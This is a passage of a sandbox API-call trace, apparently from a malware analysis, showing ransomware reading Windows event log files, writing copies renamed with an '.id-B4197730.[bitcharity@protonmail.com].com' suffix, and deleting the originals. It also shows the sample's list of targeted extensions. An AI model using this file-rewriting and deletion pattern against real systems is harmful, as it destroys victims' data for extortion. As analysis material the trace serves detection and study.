lpNewFilePointer=0x0) returned 1 [0145.940] SetEndOfFile (hFile=0x10b8) returned 1 [0145.942] CloseHandle (hObject=0x10b8) returned 1 [0145.942] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.960] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1 [0145.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0145.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0145.961] lstrlenW (lpString=".doc") returned 4 [0145.961] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.961] lstrlenW (lpString=".docx") returned 5 [0145.961] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.961] lstrlenW (lpString=".pdf") returned 4 [0145.961] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.961] lstrlenW (lpString=".xls") returned 4 [0145.961] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.961] lstrlenW (lpString=".xlsx") returned 5 [0145.961] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.961] lstrlenW (lpString=".ppt") returned 4 [0145.961] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0145.961] lstrlenW (lpString=".zip") returned 4 [0145.961] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.961] lstrlenW (lpString=".rar") returned 4 [0145.961] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.961] lstrlenW (lpString=".bz2") returned 4 [0145.961] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.961] lstrlenW (lpString=".7z") returned 3 [0145.961] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0145.961] lstrlenW (lpString=".dbf") returned 4 [0145.961] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0145.961] lstrlenW (lpString=".1cd") returned 4 [0145.961] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0145.961] lstrlenW (lpString=".jpg") returned 4 [0145.961] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0145.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0145.962] lstrlenW (lpString=".doc") returned 4 [0145.962] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.962] lstrlenW (lpString=".docx") returned 5 [0145.962] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.962] lstrlenW (lpString=".pdf") returned 4 [0145.962] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.962] lstrlenW (lpString=".xls") returned 4 [0145.962] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.962] lstrlenW (lpString=".xlsx") returned 5 [0145.962] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.962] lstrlenW (lpString=".ppt") returned 4 [0145.962] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0145.962] lstrlenW (lpString=".zip") returned 4 [0145.962] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.962] lstrlenW (lpString=".rar") returned 4 [0145.962] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.962] lstrlenW (lpString=".bz2") returned 4 [0145.962] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.962] lstrlenW (lpString=".7z") returned 3 [0145.962] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0145.962] lstrlenW (lpString=".dbf") returned 4 [0145.962] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0145.962] lstrlenW (lpString=".1cd") returned 4 [0145.962] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0145.962] lstrlenW (lpString=".jpg") returned 4 [0145.963] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.963] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0145.963] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47 [0145.963] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.963] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0145.963] CloseHandle (hObject=0x1098) returned 1 [0145.963] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0145.963] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.963] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.963] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.964] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.964] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0145.964] GetLastError () returned 0x0 [0145.964] ReadFile (in: hFile=0x1098, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0146.099] WriteFile (in: hFile=0x10c0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0146.101] ReadFile (in: hFile=0x1098, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.101] WriteFile (in: hFile=0x10c0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x132, lpOverlapped=0x0) returned 1 [0146.102] SetEndOfFile (hFile=0x10c0) returned 1 [0146.134] CloseHandle (hObject=0x10c0) returned 1 [0146.216] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.216] SetEndOfFile (hFile=0x1098) returned 1 [0146.217] CloseHandle (hObject=0x1098) returned 1 [0146.217] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0146.218] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1 [0146.218] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0146.218] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0146.218] lstrlenW (lpString=".doc") returned 4 [0146.218] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.218] lstrlenW (lpString=".docx") returned 5 [0146.218] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.218] lstrlenW (lpString=".pdf") returned 4 [0146.218] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.218] lstrlenW (lpString=".xls") returned 4 [0146.218] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.218] lstrlenW (lpString=".xlsx") returned 5 [0146.219] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.219] lstrlenW (lpString=".ppt") returned 4 [0146.219] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0146.219] lstrlenW (lpString=".zip") returned 4 [0146.219] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.219] lstrlenW (lpString=".rar") returned 4 [0146.219] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.219] lstrlenW (lpString=".bz2") returned 4 [0146.219] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.219] lstrlenW (lpString=".7z") returned 3 [0146.219] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0146.219] lstrlenW (lpString=".dbf") returned 4 [0146.219] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0146.219] lstrlenW (lpString=".1cd") returned 4 [0146.219] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0146.219] lstrlenW (lpString=".jpg") returned 4 [0146.219] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0146.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0146.219] lstrlenW (lpString=".doc") returned 4 [0146.219] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.220] lstrlenW (lpString=".docx") returned 5 [0146.220] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.220] lstrlenW (lpString=".pdf") returned 4 [0146.220] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.220] lstrlenW (lpString=".xls") returned 4 [0146.220] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.220] lstrlenW (lpString=".xlsx") returned 5 [0146.220] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.220] lstrlenW (lpString=".ppt") returned 4 [0146.220] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.220] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0146.220] lstrlenW (lpString=".zip") returned 4 [0146.220] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.220] lstrlenW (lpString=".rar") returned 4 [0146.220] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.220] lstrlenW (lpString=".bz2") returned 4 [0146.220] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.220] lstrlenW (lpString=".7z") returned 3 [0146.220] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.220] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0146.220] lstrlenW (lpString=".dbf") returned 4 [0146.220] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.220] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0146.220] lstrlenW (lpString=".1cd") returned 4 [0146.220] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.220] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0146.221] lstrlenW (lpString=".jpg") returned 4 [0146.221] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.221] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0146.221] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49 [0146.221] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0146.221] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0146.221] CloseHandle (hObject=0x1098) returned 1 [0146.221] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0146.221] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.222] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0146.222] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.222] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.222] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0146.222] GetLastError () returned 0x0 [0146.222] ReadFile (in: hFile=0x1098, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0146.289] WriteFile (in: hFile=0x10c0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0146.291] ReadFile (in: hFile=0x1098, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.291] WriteFile (in: hFile=0x10c0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x136, lpOverlapped=0x0) returned 1 [0146.291] SetEndOfFile (hFile=0x10c0) returned 1 [0146.291] CloseHandle (hObject=0x10c0) returned 1 [0146.294] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.294] SetEndOfFile (hFile=0x1098) returned 1 [0146.296] CloseHandle (hObject=0x1098) returned 1 [0146.296] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0146.296] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1 [0146.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0146.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0146.297] lstrlenW (lpString=".doc") returned 4 [0146.297] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.297] lstrlenW (lpString=".docx") returned 5 [0146.297] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.297] lstrlenW (lpString=".pdf") returned 4 [0146.297] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.297] lstrlenW (lpString=".xls") returned 4 [0146.297] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.297] lstrlenW (lpString=".xlsx") returned 5 [0146.297] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.297] lstrlenW (lpString=".ppt") returned 4 [0146.297] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0146.297] lstrlenW (lpString=".zip") returned 4 [0146.297] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.297] lstrlenW (lpString=".rar") returned 4 [0146.297] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.297] lstrlenW (lpString=".bz2") returned 4 [0146.297] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.297] lstrlenW (lpString=".7z") returned 3 [0146.297] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0146.297] lstrlenW (lpString=".dbf") returned 4 [0146.297] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0146.297] lstrlenW (lpString=".1cd") returned 4 [0146.297] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0146.297] lstrlenW (lpString=".jpg") returned 4 [0146.297] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.298] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0146.298] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0146.298] lstrlenW (lpString=".doc") returned 4 [0146.298] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.298] lstrlenW (lpString=".docx") returned 5 [0146.298] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.298] lstrlenW (lpString=".pdf") returned 4 [0146.298] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.298] lstrlenW (lpString=".xls") returned 4 [0146.298] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.298] lstrlenW (lpString=".xlsx") returned 5 [0146.298] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.298] lstrlenW (lpString=".ppt") returned 4 [0146.298] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.298] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0146.298] lstrlenW (lpString=".zip") returned 4 [0146.298] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.298] lstrlenW (lpString=".rar") returned 4 [0146.298] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.298] lstrlenW (lpString=".bz2") returned 4 [0146.298] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.298] lstrlenW (lpString=".7z") returned 3 [0146.298] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.298] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0146.298] lstrlenW (lpString=".dbf") returned 4 [0146.298] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.298] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0146.298] lstrlenW (lpString=".1cd") returned 4 [0146.298] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.298] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0146.299] lstrlenW (lpString=".jpg") returned 4 [0146.299] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.299] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0146.299] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78 [0146.299] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0146.299] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=1052672) returned 1 [0146.299] CloseHandle (hObject=0x1098) returned 1 [0146.299] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0146.299] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.299] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0146.300] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.300] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.300] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0146.365] GetLastError () returned 0x0 [0146.365] ReadFile (in: hFile=0x1098, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0146.496] WriteFile (in: hFile=0x10c0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0146.514] ReadFile (in: hFile=0x1098, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x1010, lpOverlapped=0x0) returned 1 [0146.890] WriteFile (in: hFile=0x10c0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x1020, lpOverlapped=0x0) returned 1 [0146.893] ReadFile (in: hFile=0x1098, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.893] WriteFile (in: hFile=0x10c0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x170, lpOverlapped=0x0) returned 1 [0146.893] SetEndOfFile (hFile=0x10c0) returned 1 [0146.894] CloseHandle (hObject=0x10c0) returned 1 [0146.913] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.913] SetEndOfFile (hFile=0x1098) returned 1 [0146.914] CloseHandle (hObject=0x1098) returned 1 [0146.914] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0146.915] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: 